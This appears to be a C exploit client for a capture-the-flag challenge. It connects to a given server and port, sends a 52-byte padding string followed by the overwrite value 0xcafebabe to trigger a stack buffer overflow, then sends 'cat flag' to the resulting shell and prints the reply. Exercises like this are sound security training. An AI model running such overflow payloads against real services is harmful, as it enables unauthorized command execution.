#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct
{
        int fd;
        int is_done;
        size_t pos;
        size_t buflen;
        char buf[BUFSIZ];
} TEXTSCK;

char *ChompWS(char *str);
int netgetc(TEXTSCK *stream);
void textsckinit(TEXTSCK *stream, int fd);
char *netgets(char *str, size_t size, TEXTSCK *stream);

int EstablishConnection(const char *host, const char *service_str);
int GetData(int sock);

char *payload = {
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // 52 bytes
    "\xbe\xba\xfe\xca"
    "\n"};

int main(int argc, char **argv)
{
        if (argc < 3)
        {
                printf("usage: %s server port\n", argv[0]);
                return 1;
        }

        int sock = EstablishConnection(argv[1], argv[2]);

        if (sock <= 0)
        {
                printf("Failed to connect to server\n");
                return 1;
        }

        size_t sz_pl = strlen(payload);

        int nsent = send(sock, payload, sz_pl, 0);
        if (nsent != sz_pl)
                fprintf(stderr, "something went wrong send()\n");

        printf("sent %d bytes\n", nsent);
        printf("payload %s", payload);

        sleep(1);
        nsent = send(sock, "cat flag\n", sizeof("cat flag\n"), 0);
        if (nsent != sz_pl)
                fprintf(stderr, "something went wrong send()\n");

        GetData(sock);
        close(sock);

        return 0;
}

int GetData(int sock)
{
        TEXTSCK stream;
        char buf[1000];

        textsckinit(&stream, sock);

        while (1)
        {
                if (netgets(buf, sizeof buf, &stream) == NULL)
                        break;
                puts(buf);
        }

        return 0;
}

int EstablishConnection(const char *host, const char *service_str)
{
        struct addrinfo hints;
        struct addrinfo *listp = NULL;
        struct addrinfo *p = NULL;
        int status;
        int sck = -1;

        memset(&hints, 0, sizeof hints);
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_flags = AI_CANONNAME | AI_ALL | AI_ADDRCONFIG;

        status = getaddrinfo(host, service_str, &hints, &listp);
        if (status != 0)
        {
                printf("getaddrinfo error: (%s)\n", gai_strerror(status));
                goto done;
        }

        for (p = listp; p; p = p->ai_next)
        {
                sck = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
                if (sck < 0)
                        continue;

                struct timeval timeout;
                timeout.tv_sec = 2;
                timeout.tv_usec = 0;
                if (setsockopt(sck, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)) < 0)
                {
                        close(sck);
                        goto done;
                }

                if (connect(sck, p->ai_addr, p->ai_addrlen) != -1)
                        goto done;

                close(sck);
        }
        printf("all connects failed\n");

        close(sck);
done:
        if (listp != NULL)
                freeaddrinfo(listp);
        return sck;
}

void textsckinit(TEXTSCK *stream, int fd)
{
        stream->fd = fd;
        stream->is_done = 0;
        stream->pos = 0;
        stream->buflen = 0;
}

int netgetc(TEXTSCK *stream)
{
        if (stream->is_done)
                return EOF;

        if (stream->pos == stream->buflen)
        {
                ssize_t nread = read(stream->fd, stream->buf, sizeof(stream->buf));
                if (nread <= 0)
                        stream->is_done = 1;

                stream->pos = 0;
                stream->buflen = nread;
        }

        return stream->buf[stream->pos++];
}

char *netgets(char *str, size_t size, TEXTSCK *stream)
{
        char *s = str;
        int c = 0;

        if (stream->is_done)
                return NULL;

        for (size_t i = 0; i != size - 1 && c != '\n'; i++)
        {
                c = netgetc(stream);
                if (c == EOF)
                        break;

                *s++ = c;
        }

        *s = '\0';
        return str;
}